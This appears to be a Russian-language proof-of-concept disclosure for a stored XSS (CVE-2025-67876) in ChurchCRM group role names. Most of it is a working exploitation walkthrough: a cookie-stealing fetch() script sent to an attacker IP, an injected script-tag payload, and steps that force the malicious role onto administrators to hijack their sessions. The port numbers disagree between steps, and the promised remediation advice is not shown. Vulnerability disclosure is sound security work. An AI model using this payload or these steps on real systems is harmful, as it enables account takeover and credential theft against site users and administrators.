
Подробный proof-of-concept для CVE-2025-67876, демонстрирующий хранимый XSS в именах ролей групп ChurchCRM, приводящий к перехвату сеанса администратора, с полным прохождением эксплуатации и рекомендациями по исправлению.
| Поле | Детали |
|---|
| ID CVE | CVE-2025-67876 |
| Серьёзность | Критическая |
| Уведомление | Посмотреть уведомление |
| Обнаружил | Lukasz Rybak |
В ChurchCRM существует хранимая межсайтовая уязвимость (XSS), которая позволяет пользователю с низкими привилегиями, имеющему разрешение «Управление группами», внедрять постоянный JavaScript в имена ролей группы. Полезная нагрузка сохраняется в базе данных и выполняется всякий раз, когда любой пользователь (включая администраторов) просматривает страницу, на которой отображается эта роль, например GroupView.php или PersonView.php. Это позволяет полностью угнать сессию и захватить учётную запись.
Корневая причина — отсутствие проверки входных данных и кодирования вывода при обработке имён ролей групп.
При редактировании группы в GroupEditor.php пользователь может изменять имена ролей. Приложение не санирует входные данные (например, нет strip_tags, htmlspecialchars или серверной проверки). Значение сохраняется в таблице базы данных list_lst.
Позже сохранённое значение вставляется непосредственно в HTML без экранирования:
<span>.Таким образом, пользователь с низкими привилегиями (с разрешением «Управление группами») может повысить свои привилегии до полного администратора, внедрив JavaScript в роль и назначив эту роль администратору.
Создайте x.js на машине, контролируемой атакующим:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
Запустите сервер для этого файла:
python3 -m http.server 800
Войдите как пользователь с разрешением «Управление группами».
Перейдите в: Группы → Список групп → выберите любую группу → Настройки.
В разделе «Роли групп» измените существующую роль или создайте новую.
Вставьте вредоносную полезную нагрузку:
"><script src=//172.20.0.1:800/x.js></script>

В списке ролей групп нажмите «По умолчанию» рядом с ролью, содержащей вашу внедрённую XSS-полезную нагрузку.
Это гарантирует, что вредоносная роль будет автоматически назначена любому пользователю, добавленному в группу, что повышает вероятность срабатывания XSS при просмотре администратором своего профиля.
Нажмите «Удалить» рядом с предыдущей ролью по умолчанию, обычно «Участник».
Удаление чистой роли по умолчанию вынуждает систему использовать роль с внедрённым XSS для всех будущих назначений, гарантируя выполнение, когда жертва просматривает любую страницу, отображающую её назначенную роль.

Перейдите на страницу просмотра группы.
Добавьте любого пользователя как участника группы (например, Church Admin).
Выберите вредоносную роль из выпадающего списка.
Сохраните назначение.
Когда жертва (администратор) посещает:
Свой профиль пользователя: PersonView.php
Страницу просмотра группы: GroupView.php
Сохранённый JavaScript выполняется немедленно.
На сервере атакующего появятся входящие запросы:


Это подтверждает успешный захват учётной записи.
CWE-79: Некорректная нейтрализация входных данных при генерации веб-страницы («Межсайтовый скриптинг»)
Эта CVE была раскрыта ответственно в соответствии с практиками скоординированного раскрытия уязвимостей. Информация, представленная здесь, предназначена только для образовательных и защитных целей.